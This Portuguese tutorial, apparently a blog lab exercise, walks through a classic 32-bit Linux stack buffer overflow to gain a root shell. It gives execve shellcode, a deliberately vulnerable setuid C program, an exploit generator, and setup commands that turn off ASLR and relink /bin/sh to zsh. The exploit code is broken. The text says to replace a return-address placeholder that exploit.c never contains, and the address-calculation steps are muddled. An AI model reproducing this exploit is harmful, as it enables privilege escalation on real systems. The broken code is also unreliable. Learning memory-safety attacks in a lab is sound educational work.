Explorando Vulnerabilidades de Buffer Overflow em Ambientes Linux 32-bit

Este experimento demonstra como explorar uma vulnerabilidade de buffer overflow para obter privilégios de root em um sistema Linux. O buffer overflow ocorre quando um programa tenta escrever mais dados em um buffer do que sua capacidade alocada, potencialmente sobrescrevendo dados adjacentes, como o endereço de retorno da função. Essa sobrescrita pode ser manipulada para desviar o fluxo de execução do programa para código malicioso (shellcode).

Configuração do Ambiente

Para facilitar a análise de código assembly, o experimento é realizado em um ambiente Linux de 32 bits. Pacotes adicionais para compilação e depuração em 32 bits são necessários.

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

Desativando Randomização do Espaço de Endereçamento

A randomização do espaço de endereçamento (ASLR) dificulta a previsão de endereços de memória. Para este experimento, o ASLR é desativado:

sudo sysctl -w kernel.randomize_va_space=0

Configurando um Shell Alternativo

Alguns shells, como o bash, descartam privilégios ao serem chamados. Para contornar isso, um shell diferente (zsh) é configurado como o shell padrão (/bin/sh). Se o zsh não estiver instalado, ele pode ser adicionado com sudo apt install zsh.

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

Em seguida, entre no ambiente de 32 bits:

linux32

Shellcode

Shellcode é um pequeno trecho de código assemb projetado para ser injetado e executado em um processo vulnerável. O objetivo comum é iniciar um shell com privilégios elevados. O shellcode utilizado neste experimento é:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

Programa Vulnerável (stack.c)

Um programa C simples foi criado para demonstrar a vulnerabilidade. Ele lê dados de um arquivo chamado "badfile" e os copia para um buffer local sem verificar o tamanho, usando strcpy.

/* Este programa tem uma vulnerabilidade de buffer overflow. */
/* Nossa tarefa é explorar essa vulnerabilidade */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* A seguinte instrução tem um problema de buffer overflow */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

O programa é compilado com opções específicas para desativar proteções contra buffer overflow e permitir a execução de código no stack:

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

Os flags -fno-stack-protector desativam a proteção de stack do compilador, e -z execstack permite a execução de código no stack. O flag -g habilita informações de depuração.

Explorando a Vulnerabilidade (exploit.c)

Um programa C de exploração é criado para gerar o arquivo "badfile". Ele preenche um buffer com instruções NOP (0x90) e injeta o shellcode. O objetivo é sobrescrever o endereço de retorno na stack com o endereço do shellcode.

/* Um programa que cria um arquivo contendo código para iniciar um shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0\x50\x68""//sh"\
    "\x68""/bin"\
    "\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Inicializa o buffer com 0x90 (instrução NOP) */
    memset(buffer, 0x90, 517);

    /* Copia o shellcode para o buffer em um offset específico.
       O endereço do shellcode precisa ser calculado e inserido aqui. */
    strcpy(buffer + 100, shellcode); /* Offset 100 para o shellcode */

    /* Salva o conteúdo no arquivo "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

Determinando o Endereço do Shellcode

Para preancher a parte do endereço de retorno no programa de exploração, é necessário determinar o endereço onde o shellcode será carregado na memória. Isso é feito usando o depurador GDB.

gdb stack
disass main

Após a desmontagem da função main, execute o programa com r e, em seguida, inspecione o valor do registrador $esp para encontrar o endereço base do buffer da função bof. Com base nesse endereço e no offset onde o shellcode foi copiado (neste caso, offset 100 em relação ao início do buffer lido, que está relacionado ao $esp), o endereço exato do shellcode pode ser calculado.

Por exemplo, se $esp aponta para 0xffffcfb0 e o buffer de bof começa próximo a esse endereço, e o shellcode é copiado no offset 100 do buffer lido por main (que por sua vez é copiado para o buffer de bof), o endereço do shellcode seria calculado somando o offset apropriado ao endereço base. O endereço de retorno na stack é sobrescrito com este endereço calculado (em ordem reversa de bytes).

Após calcular o endereço (ex: 0xffffd014), atualize o programa exploit.c substituindo \x??\x??\x??\x?? pelos bytes inversos do endereço calculado (\x14\xd0\xff\xff).

Compilando e Executando a Exploração

Compile o programa de exploração:

gcc -m32 -o exploit exploit.c

Execute primeiro o programa de exploração para criar o arquivo "badfile", e depois o programa vulnerável "stack":

./exploit
./stack

Se a exploração for bem-sucedida, um shell com privilégios de root será iniciado.

Exercícios Propostos

  1. Execute os passos do experimento para obter privilégios de root.
  2. Reative o ASLR (sudo sysctl -w kernel.randomize_va_space=2) e tente repetir a exploração. Observe se o ataque ainda é bem-sucedido.
  3. Restaure o link /bin/sh para /bin/bash (ou /bin/dash) e tente a exploração novamente.

Princípios de Buffer Overflow e Prevenção

Buffer overflow explora a falta de verificação de limites na cópia de dados para buffers. Isso pode corromper a stack, incluindo o endereço de retorno, permitindo que o controle seja transferido para código injetado. Medidas de prevenção incluem escrita de código seguro, uso de funções que verificam limites (como strncpy), compilação com proteções ativadas (como Stack Canaries), e configurações de sistema que tornam o stack não executável (NX bit).

Tags: buffer overflow Linux exploit shellcode 32-bit

Publicado em 7-11 07:55